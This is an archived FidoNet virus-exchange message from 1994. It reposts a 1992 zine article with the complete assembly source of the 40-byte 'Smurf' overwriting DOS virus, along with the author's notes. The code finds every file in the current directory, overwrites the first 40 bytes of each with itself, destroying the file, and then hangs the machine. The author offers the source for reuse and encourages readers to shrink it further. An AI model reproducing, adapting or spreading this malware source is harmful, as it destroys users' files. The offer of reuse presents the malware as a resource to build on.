;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä ; Msg : 1 of 55 ; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 ; To : - *.* - Fri 11 Nov 94 08:10 ; Subj : OW_40.ASM ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;.RealName: Max Ivanov ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* Kicked-up by MeteO (2:5030/136) ;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å) ;* From : Ron Toler, 2:283/718 (06 Nov 94 16:13) ;* To : Doug Bryce ;* Subj : OW_40.ASM ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;@RFC-Path: ;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 ;18.n283!not-for-mail ;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org ;ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92 ; ;Article Title: The Smurf Virus ;Author: Admiral Bailey ;--- ; The Smurf virus [40 Bytes Long] ; ; Author : Admiral Bailey [YAM '92] ; Date : June 6 1992 ; Language : Assembly [TASM 2.0] ; ; Notes:The Smurf virus was my first attempt at writing the smallest ; overwriting virus known. For a first attempt it wasn't that ; bad. So far I have got it down to 40 bytes. The record that ; does the same as this is about 38 bytes. So I gotta loose 2 ; bytes in here somewhere. Well seeing as this small thing is ; probably the easiest virus in the world to disassemble, I have ; included the source in this issue of Evolution for all of you ; to take a look at. The source is for you to use. If you ; happend to make anything smaller using this source please just ; give recognition to myself, Admiral Bailey, saying that you got ; help looking at this source. The only thing that this does is ; find everyfile in the current directory and overwrite the 1st ; 40 bytes with itself. Then locks your computer while it is in ; a search loop looking for more file when there are none. A ; neat thing about this is that it displays its entire self to ; the screen when executed. Scan 91 notices this as the mini ; virus but I dont blame it seeing that you cant realy avoid ; scan when your virus gets this small. Well enjoy the source... ; and remember if you use it and enjoy it just let me know. ;--- code segment assume ds:code, ss:code, cs:code, es:code org 100h ;Make it a .com file virus_start equ $ start: mov dx,offset file_type ;type of file to look for mov ah,4eh ;Find first file command infect: int 21h mov ax,3d02h ;open again to reset handle mov dx,80h+1eh ;moves filename into dx int 21h mov bx,ax ;save handle again mov cx,virus_length ;put size of virus in cx mov dx,100h ;where the code starts mov ah,40h ;write to handle command int 21h ;write virus into file mov ah,3eh ;close handle service int 21h ;do it find_next_file: mov ah,4fh ;find next file command jmp infect file_type db '*.*',0 virus_end equ $ virus_length = virus_end - virus_start ;length of virus code ends end start ;-+- GoldED 2.50.B1016+ ; + Origin: Poeldijk, The Netherlands, Europe, Earth (2:283/718) ;============================================================================= ; ;Yoo-hooo-oo, -! ; ; ; þ The MeÂeO ; ;/yx Extended memory swapping ; ;--- Aidstest Null: /Kill ; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)